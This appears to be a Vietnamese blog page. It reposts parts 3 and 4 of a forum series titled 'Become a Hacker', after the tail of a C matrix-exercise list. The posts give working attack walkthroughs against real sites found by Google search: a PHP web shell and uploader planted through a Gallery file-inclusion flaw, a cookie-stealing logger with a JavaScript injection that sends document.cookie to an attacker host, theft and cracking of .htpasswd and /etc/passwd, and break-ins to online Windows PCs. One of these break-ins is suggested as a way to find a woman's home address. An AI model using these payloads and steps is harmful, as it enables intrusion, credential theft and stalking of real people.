455 Đếm số chẵn trong ma trận tam giác trên Kĩ thuật đặt cờ hiệu 456 Ktra đường chéo chính có tăng dần hay ko? 457 Ktra ma trận có đối xứng wa chéo chính ko? 458 ktra ma trận có đối xứng wa chéo phụ ko? 459 Ktra ma trận có phải là ma phương ko? Ma phương là khi tổng ptử trên các dòng, cột và 2 chéo chính phụ bằng nhau Sắp xếp 460 Sắp chéo chính tăng dần 461 Sắp chéo phụ giảm dần 462 Hoán vị 2 dòng 463 Hoán vị 2 cột 464 sắp các dòng tăng dần theo tổng dòng 465 Đưa chẵn về đầu ma trận vuông 466 * Ma trận vuông A(n x n) với n >=3. Sắp tam giác trên tăng dần từ trên xuống dưới và từ trái sang phải 467 * Ma trận vuông A với n>=3. Sắp tam giác dưới giảm dần từ trên xuống dưới và từ trái sang phải 468 * Xây dựng ma phương A Các phép toán trên ma trận 469 Tổng 2 ma trận void Tong2MaTran(int a[][], int b[][], int c[][], int n, int m)
{
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
c[i][j] = a[i][j] + b[i][j];
}
}
}
470 Hiệu 2 ma trận void Hieu2MaTran(int a[][], int b[][], int c[][], int n, int m)
{
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
c[i][j] = a[i][j] - b[i][j];
}
}
}
471 Tích 2 ma trận
// mb = na; //dòng b = cột a // nb = ma; //cột b = dòng a // nc = na; // mc = mb;
int GiaTriTungVTri(int a[][], int b[][], int m,int i, int j)
{
int T = 0;
for (int k=0 ; k<m; k++)
T += a[i][k]*b[k][j];
return T;
}
void Tich2MaTran(int a[][], int b[][], int c[][], int n, int m)
{
c = new int* [n];
for (int i=0; i<n; i++)
{
c[i] = new int [n];
for (int j=0; j<n; j++)
{
c[i][j] = GiaTriTungVTri(a,b,m,i,j);
}
}
}
472 * Ma trận nghịch đảo 473 * Định thức của ma trận 474 * Tạo ma phương bậc -------------Hết----------------
Friday, 8 July 2011
Become a Hacker 4
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4
26 . ) Tìm hiểu về RPC (Remote Procedure Call) :
_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.
_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.
27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :
_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.
Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.
Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .
( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )
28 . ) Những bước để hack một trang web hiện nay :
_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách ***** password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .
( Tài liệu của HVA và hackervn.net )
29 . ) Cách tìm các Website bị lỗi :
_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :
cgi-bin/php.cgi?/etc/passwd
các bạn sẽ đánh :
“allinurl:cgi-bin/php.cgi?/etc/passwd”
Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá
powered by
VD sau là để tìm forum dùng Snitz 2000 :
powered by Snitz 2000
_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau
``/admin hay /advadmin hay /hosting``
ta hãy đánh từ khoá :
allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting
Nó sẽ liệt kê ra các trang Web có URL dạng :
http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting
VD với forum UBB có đoạn đặc trưng
``cgi-bin/ultimatebb.cgi?``
Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .
30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):
_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :
CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n < xmp > ``;
system($shell);
echo ``
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n`` ; }
echo `` ``;
? >
Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )
Bạn hãy tạo thêm một file PHP với mã sau :
CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >
``;
? >
Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :
http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /
Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :
/home/abc/xyz/Gallery/loveyou
Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :
http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /
Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .
( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net )
GOODLUCK!!!!!!!!!!!!
( Hết phần 4 )
Anhdenday
HVAonline.net
Become a Hacker 3
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3
20 . ) Cookie là gì ?
_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.
Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .
_ Cookies thường có các thành phần sau :
+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.
( Tài liệu của Viethacker.net )
21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :
_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :
CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >
hoặc
CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >
<?php
} else {
echo ``nope``;
}
(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .
Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :
CODE
document.write(` `)
với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:
CODE
`)\">
hoặc:
[CODE
img]javascript: Document.write(`<img src=http://host_php/docs.php?docs=`+escape(document .cookie)+`>`)\">
_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .
22 . ) Cách ngắt mật khẩu bảo vệ Website :
_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :
CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f
Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi ***** mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề ***** mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :
http://www.company.com/cgi-bin/pro tected/
hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :
http://www.company.com/cgi-bin/pro tected/.htpasswd
Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :
http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd
nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để ***** passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .
23 . ) Tìm hiểu về CGI ?
_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :
http://www.company.com/cgi-bin/log in.cgi
với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..
24 . ) Cách hack Web cơ bản nhất thông qua CGI script :
_ Lỗi thứ 1 : lỗi nph-test-cgi
+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :
http://www.servername.com/cgi-bin/ nph-test-cgi
+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :
CODE
? /*
+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :
http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*
_ Lỗi thứ 2 : lỗi php.cgi
+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :
http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd
Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :
/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc
sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .
25 . ) Kỹ thuật xâm nhập máy tính đang online :
_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”
CODE
+ VD : c:\net view 203.162.30.xx
_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh
net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >
+ VD : c:\net use E : 203.162.30.xxC
_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :
net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``
+ VD : net use E : 203.162.30.xxC$``administrator``
Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :
c:\netstat –n
Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .
================================================== = =
Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .
================================================== = =
Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….
GOOKLUCK!!!!!!!!!
( Hết phần 3 )
Become a Hacker 2
Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2
14 . ) Vitual port là gì ?
